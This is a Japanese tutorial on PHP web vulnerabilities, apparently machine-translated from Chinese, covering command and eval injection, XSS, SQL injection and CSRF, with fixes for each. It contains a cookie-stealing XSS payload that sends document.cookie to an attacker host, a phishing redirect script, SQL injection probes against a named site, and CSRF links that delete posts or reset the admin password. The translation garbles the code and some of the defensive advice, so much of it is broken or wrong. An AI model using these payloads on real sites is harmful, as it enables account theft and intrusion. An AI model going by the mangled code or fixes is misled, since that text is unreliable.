コマンド注入攻撃
PHP では次の 5 つの関数を使用して外部アプリケーションまたは関数を実行できます
system、exec、passthru、shell_exec、"(shell_exec と同じ関数)
関数プロトタイプ
文字列システム(文字列コマンド, int &return_var)
command 実行するコマンド
return_var には、実行コマンド
の実行後のステータス値が格納されます。
string exec (string コマンド、配列 &output、int &return_var)
command 実行するコマンド
Output は、コマンド
を実行して文字列出力の各行を取得します。
return_var には、コマンド
の実行後のステータス値が格納されます。
void passthru (文字列コマンド、int &return_var)
command 実行するコマンド
return_var には、コマンド
の実行後のステータス値が格納されます。
文字列shell_exec (文字列コマンド)
command 実行するコマンド
脆弱性例
例 1:
//ex1.php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "
";<br> system("ls -al ".$dir);<br> echo "";
評価インジェクション攻撃
eval 関数は、入力文字列パラメーターを PHP プログラム コード
として実行します。
関数プロトタイプ:
mixed eval(string code_str) //eval インジェクションは通常、攻撃者が入力文字列
を制御できる場合に発生します。
//ex2.php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("$var = $arg;");
echo "$var =".$var;
}
?>
http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します
動的関数
関数 A()
{
何かをする();
}
関数 B()
{
何かをする();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
プログラマの本来の意図は、関数 A と B を動的に呼び出すことであり、その後、http://www.sectop.com/ex.php?func=phpinfo を送信すると、脆弱性が生成されます
予防方法
1. 外部コマンドを実行しないようにしてください
2. カスタム関数または関数ライブラリを使用して外部コマンドの関数を置き換えます
3.escapeshellarg関数を使用してコマンドパラメータを処理します
4.safe_mode_exec_dir を使用して、実行可能ファイル
のパスを指定します。
esacpeshellarg 関数は、パラメータまたはコマンドの終了を引き起こす文字をすべてエスケープします。一重引用符「'」は「'」に、二重引用符「"」は「;」に置き換えられます。 「
」
実行可能ファイルのパスを指定するには、safe_mode_exec_dir を使用します。使用するコマンドを事前にこのパスに配置できます。
セーフモード = オン
safe_mode_exec_di r= /usr/local/php/bin/
クライアント側スクリプトの埋め込み
クライアント側スクリプトの挿入 (スクリプト挿入) とは、フォーム、画像、アニメーション、ハイパーリンク テキストなどのオブジェクトに実行可能スクリプトを挿入することを指します。ユーザーがこれらのオブジェクトを開くと、攻撃者によって埋め込まれたスクリプトが実行され、攻撃が始まります。
スクリプトの埋め込みに使用できる HTML タグには通常、次のものが含まれます:
1. <script> タグでマークされた JavaScript や vbscript などのページ スクリプト プログラム。 <script> タグで js プログラム コードを指定することも、src 属性 <br> で js ファイルの URL パスを指定することもできます。
2. <object> タグでマークされたオブジェクト。これらのオブジェクトは、Java アプレット、マルチメディア ファイル、ActiveX コントロールなどです。通常、オブジェクトの URL パスはデータ属性 <br> 内で指定されます。
3. <embed> タグでマークされたオブジェクト。これらのオブジェクトは、swf ファイルなどのマルチメディア ファイルです。オブジェクトの URL パスは通常、src 属性 <br> 内で指定されます。
4. <applet> ラベルでマークされたオブジェクト。これらのオブジェクトは Java アプレットであり、オブジェクトへの URL パスは通常、コードベース属性 <br> 内で指定されます。
5. <form> タグでマークされたオブジェクト。フォーム <span class="t_tag" href="tag.php?name=%CA%FD%BE%DD"> データ </span> を処理する Web アプリケーションの URL パスは、通常、アクション属性 </applet></p> 内で指定されます。<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; ">
<span style="font-size: medium; "><strong>クライアント側スクリプト埋め込み攻撃手順</strong></span><br>
1. 攻撃者<span class="t_tag" href="tag.php?name=%D7%A2%B2%E1">は一般ユーザーとして</span>登録し、Web サイト<br>にログインします。
2.メッセージページを開き、攻撃用のJSコードを挿入します<br>
3. 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します <br>
4. メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました<br>
</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; ">
<span style="font-size: medium; "><strong>例</strong></span><br>
データベース<br>
CREATE TABLE `postmessage` (<br>
`id` int(11) NOT NULL auto_increment,<br>
`subject` varchar(60) NOT NULL デフォルト ”,<br>
`name` varchar(40) NOT NULL デフォルト ”,<br>
`email` varchar(25) NOT NULL デフォルト ”,<br>
「質問」メディアテキストが NULL ではありません、<br>
`postdate` datetime NOT NULL デフォルト '0000-00-00 00:00:00',<br>
主キー (`id`)<br>
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=’ユーザーのメッセージ’ AUTO_INCREMENT=69;<br>
//add.php メッセージを挿入<br>
//list.php メッセージリスト<br>
//show.php メッセージを表示</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; ">
下の画像を添えてメッセージを送信してください<br>
</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; ">
このメッセージを閲覧すると、js スクリプトが実行されます <br>
<script>while(1){windows.open();}</script> 無限ポップアップ ボックスを挿入します
Insert<script>location.href="http://www.sectop.com";</script> フィッシング ページにジャンプします
または、他の自己構築された JS コードを使用して攻撃します
予防方法
通常、特殊文字を HTML エンコーディングに変換するには、htmlspecialchars 関数を使用します
関数プロトタイプ
string htmlspecialchars (string string、int quote_style、string charset)
string はエンコードされる文字列です
quote_style はオプションです。値は ENT_COMPAT、ENT_QUOTES、または ENT_NOQUOTES です。これは、二重引用符のみが変換され、一重引用符は変換されないことを意味します。 ENT_QUOTES。二重引用符と一重引用符の両方を変換する必要があることを示します。 ENT_NOQUOTES、二重引用符と一重引用符が変換されないことを示します
charset オプション。使用される文字セットを示します
この関数は、次の特殊文字を HTML エンコードに変換します:
& —-> &
" —-> "
「—->」
<—->
> -> >
show.php の 98 行目を
に変更します。
次に、js が挿入されている 脆弱性 ページ
を確認します。
XSS クロスサイト スクリプティング攻撃
XSS(Cross Site Scripting)とは、クロスサイトスクリプティング攻撃のことを指し、CSS(Cascading Style Sheet)と区別するため、XSS
と略します。
クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、このデータを取得すると、そのユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイト スクリプティング攻撃の一般的な手順:
1. 攻撃者は、何らかの方法で xss http リンクをターゲット ユーザーに送信します
2. ターゲットユーザーはこの Web サイトにログインし、ログインプロセス中に攻撃者によって送信された xss リンクを開きました
3. Web サイトはこの xss 攻撃スクリプトを実行しました
4. 対象ユーザーのページから攻撃者のWebサイトにジャンプし、攻撃者は対象ユーザーの情報を取得します
5. 攻撃者はターゲットユーザーの情報を使用して Web サイトにログインし、攻撃を完了します
クロスサイト脆弱性を持つプログラムが出現すると、攻撃者は http://www.sectop.com/search.php?key=<script>document.location= ' のようなものを構築する可能性があります。 http://www.hack.com/getcookie.php?cookie='+document.cookie;</script</font>>、ユーザーを騙してクリックさせた後、ユーザーの Cookie 値を取得できます <br>
<span style="font-size: medium; "><strong>予防方法:</strong></span><br>
htmlspecialchars 関数を使用して特殊文字を HTML エンコーディングに変換します <br>
関数プロトタイプ<br>
<strong>string htmlspecialchars (string string、int quote_style、string charset)</strong><br>
String はエンコードされる文字列です <br>
quote_style はオプションです。値は ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES です。デフォルト値は ENT_COMPAT です。これは、二重引用符のみが変換され、一重引用符は変換されないことを意味します。 ENT_QUOTES。二重引用符と一重引用符の両方を変換する必要があることを示します。 ENT_NOQUOTES、二重引用符も一重引用符も変換されないことを示します <br>
charset はオプションで、使用される文字セットを示します<br>
この関数は、次の特殊文字を HTML エンコードに変換します: <br>
& —-> &<br>
" —-> "<br>
「—->」<br>
<—-><br>
> -> ></font></p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; white-space: normal; ">
$_SERVER["PHP_SELF"] 変数のクロスサイト<br>
フォームでパラメーターを自分自身に送信する場合は、次のようなステートメントを使用します <br>
<フォームアクション="<?php echo $_SERVER["PHP_SELF"];?>"メソッド="POST"><br>
……<br>
</form><br>
$_SERVER["PHP_SELF"] 変数の値は現在のページ名です<br>
例:<br>
<font color="#2970a6">http://www.sectop.com/get.php</font><br>
get.php <br> の上記フォーム
次に <br> を送信します
<font color="#2970a6">http://www.sectop.com/get.php/"><script>alert(document.cookie);</script</font>><br>
すると、フォームは <br> になります。
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
クロスサイト スクリプティングが挿入されました
防御方法は、htmlspecialchars を使用して出力変数をフィルター処理するか、
を使用してフォームを独自のファイルに送信することです。
<フォームアクション=""メソッド="投稿">
これにより、$_SERVER["PHP_SELF"] 変数がクロスサイトになることを直接回避できます
SQL インジェクション攻撃
SQL インジェクション攻撃 (SQL インジェクション) は、攻撃者が慎重に作成した SQL ステートメントをフォームに送信し、Web プログラムが送信されたデータをチェックしない場合、SQL インジェクション攻撃を引き起こします。
SQL インジェクション攻撃の一般的な手順:
1. 攻撃者は SQL インジェクションの脆弱性のあるサイトにアクセスし、インジェクション ポイントを探します
2. 攻撃者は注入ステートメントを構築し、その注入ステートメントがプログラム内の SQL ステートメントと結合されて新しい SQL ステートメント
が生成されます。3. 新しい SQL ステートメントが処理のためにデータベースに送信されます
4. データベースが新しい SQL ステートメントを実行し、SQL インジェクション攻撃をトリガーしました
例
データベース
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL デフォルト ”,
`name` varchar(40) NOT NULL デフォルト ”,
`email` varchar(25) NOT NULL デフォルト ”,
`質問` メディアテキスト NOT NULL,
`postdate` datetime NOT NULL デフォルト '0000-00-00 00:00:00',
主キー (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=’ユーザーのメッセージ’ AUTO_INCREMENT=69;
ch3.* のすべての権限を、'123456'; で識別される ‘sectop’@localhost
に付与します。//add.php メッセージを挿入
//list.php メッセージリスト
//show.php メッセージを表示
ページ http://www.netsos.com.cn/show.php?id=71 注入ポイントがある可能性があります。テストしてみましょう
http://www.netsos.com.cn/show.php?id=71 および 1=1
ページに戻る
送信
レコードがクエリされたら、レコードがなくなったら、ソース コードを見てみましょう
//show.php 12~15行目
//mysqlクエリステートメントを実行
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
または die("ySQL クエリ ステートメントの実行に失敗しました: " .mysql_error());
パラメーター ID が渡された後、前の文字列と結合された SQL ステートメントがデータベースに入れられ、クエリ
が実行されます。Submit と 1=1 の場合、ステートメントは select * from postmessage where id = 71 および 1=1 となり、このステートメントの前後の値は両方とも true、および の後の値も true になり、クエリされたデータが返されます
Submit および 1=2 の場合、ステートメントは select * from postmessage (id = 71 および 1=2) になり、このステートメントの最初の値は true、最後の値は false、次の値は false になり、データはクエリできません。
通常の SQL クエリは、構築したステートメントを通過した後、SQL インジェクション攻撃を形成します。このインジェクションポイントを通じて、union を使用して管理パスワードを読み取る、データベース情報を読み取る、または mysql のload_file を使用するなどの権限を outfile やその他の関数にさらに取得して、さらに侵入することができます。
予防方法
整数パラメータ:
intval 関数を使用してデータを整数に変換します
関数プロトタイプ
int intval(mixed var, int Base)
Var は整数に変換される変数です
Base (オプション) は基本番号で、デフォルトは 10
浮動小数点パラメータ:
floatval 関数または doubleval 関数を使用して、それぞれ単精度および倍精度浮動小数点パラメータを変換します
関数プロトタイプ
int floatval(混合変数)
Var は変換される変数です
int doubleval(mixed var)
Var は変換される変数です
キャラクターパラメータ:
addslashes 関数を使用して、一重引用符 "'" を "'"、二重引用符 """ から """、バックスラッシュ "" から "\"、および NULL 文字とバックスラッシュ ""
を変換します。関数プロトタイプ
文字列はスラッシュを追加します (文字列 str)
Str はチェックする文字列です
したがって、先ほど現れたコードの脆弱性は、次のように修正できます
//mysqlクエリステートメントを実行
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
または die("ySQL クエリ ステートメントの実行に失敗しました: " .mysql_error());
文字タイプの場合は、最初に magic_quotes_gpc を On にできるかどうかを判断します。 On にできない場合は、addslashes を使用して特殊文字
をエスケープします。if(get_magic_quotes_gpc())
{
$var = $_GET["var"];
}
それ以外
{
$var = addlashes($_GET["var"]);
}
再度テストしたところ、脆弱性は修正されました
壊れた Web サイトの偽のリクエスト
CSRF(Cross Site Request Forgeries)はクロスサイトリクエストフォージェリを意味し、XSRFとも書きます。 攻撃者は、ターゲット ユーザーの HTTP リクエストを偽造し、CSRF脆弱性を持つ Web サイトにこのリクエストを送信し、Web サイトがこのリクエストを実行すると、クロスサイト リクエスト フォージェリ攻撃が引き起こされます。 。攻撃者は秘密の HTTP 接続を使用して、ターゲット ユーザーが気づかずにこのリンクをクリックできるようにします。ユーザーは自分でクリックしたものであり、合法的な 権限 を持つ正当なユーザーであるため、ターゲット ユーザーは特定の HTTP を実行できます。攻撃者の目的を達成するために、Web サイト内のリンクを攻撃します。
例: ショッピング Web サイトで商品を購入する場合、http://www.shop.com/buy.php?item=watch&num=1 を使用して、購入する商品とその数値を決定します。パラメータは、攻撃者がターゲット ユーザーに秘密の方法でリンクを送信した場合に何を購入するかを決定します
の場合、対象ユーザーが誤ってアクセスすると購入数量が 1000 個となります
例
隋源ネットワークPHP 掲示板 V1.0
メッセージを自由に削除
//delbook.php このページはメッセージを削除するために使用されます
include_once("dlyz.php"); //dlyz.php のユーザー確認権限、権限が管理者の場合のみメッセージを削除できます
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="データ")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="ID が (".$ID_Dele.") にある書籍から削除";
mysql_query($sql);
}
それ以外
{
$sql="delete from book where id=".$id //削除するメッセージ ID を渡します
mysql_query($sql);
}
mysql_close($conn);
echo "";
?>
管理者権限があり http://localhost/manage/delbook.php?id=2 を送信すると、ID 2 のメッセージが削除されます
使用方法:
私たちは一般ユーザーを使用してメッセージを残します (ソースコード方式)。内容は
です。
4 つの画像リンクを挿入し、4 つの ID メッセージを削除します。その後、ホームページに戻って参照し、変更がないことを確認します。 。画像が表示できません
ここで、管理者アカウントでログインしてホームページを更新すると、メッセージが 1 つだけ残っており、画像リンクで指定された ID 番号を持つ他のメッセージはすべて削除されていることがわかります。
攻撃者はメッセージに隠し画像リンクを挿入しますが、攻撃者自身がこれらの画像リンクにアクセスすると、その効果は見えません。 , このメッセージを表示すると隠しリンクが実行され、彼の権限は十分に大きいため、これらのメッセージは削除されます
管理者パスワードを変更
//pass.php
if($_GET["act"])
{
$ユーザー名=$_POST["ユーザー名"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["タイトル"];
$copyright=$_POST["copyright"]."
設計と製造:厦門水源ネットワーク技術";
$password=md5($_POST["パスワード"]);
if(empty($_POST["パスワード"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright ='".$copyright."'、id=1";
}
それ以外
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title ='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "";
}
このファイルは、管理パスワードと Web サイト設定に関する一部の情報を変更するために使用され、次のフォームを直接構築できます:
http://www.sectop.com/攻撃.html
に配置します。このページにアクセスすると、パラメータがターゲットの pass.php に自動的に送信されます。 root として、パスワードを root に変更し、メッセージを投稿してリンクを非表示にすると、ユーザー名とパスワードがすべて root
に変更されます。
予防方法
CSRF の HTTP リクエストは攻撃者によって偽造されていますが、対象のユーザーによって発行されているため、CSRF を防ぐことは他の攻撃を防ぐことよりも困難です。一般的な予防方法には次のようなものがあります。
1. Web ページのソースを確認します
2. 組み込みの隠し変数を確認します
3. GET は使用せず、POST を使用します。
ウェブソースを確認してください
次の赤いフォント コードを //pass.php ヘッダーに追加して、
data
submit
を確認します。
if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$serverhost = $_SERVER["SERVER_NAME"];
$strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]);
$strdomain =explode("/",$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo "";
}
}
$ユーザー名=$_POST["ユーザー名"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["タイトル"];
$copyright=$_POST["copyright"]."
设计制作:厦门随缘网络科技";
$password=md5($_POST["パスワード"]);
if(empty($_POST["パスワード"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright ='".$copyright."'、id=1";
}
それ以外
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title ='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "";
}
检查内置隐藏变量
私は表内に 1 つのセッション量と 1 つのセッション量を配置し、その後、このセッション量とセッション量が等しいかどうかを検査し、これにより、同じ Web サイトで使用されているかどうかを判断します
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
// 生成された唯一の ID、MD5 を使用して密
$post_id = md5(uniqid(rand(), true));
// セッション变量
$_SESSION["post_id"] = $post_id;
}
// 检查是否相等
if (isset($_SESSION["post_id"]))
{
// 不相等
if ($_SESSION["post_id"] != $_POST["post_id"])
{
// 清除POST变量
unset($_POST);
echo "";
}
}
…
">
テーブル>
}
mysql_close($conn);
?>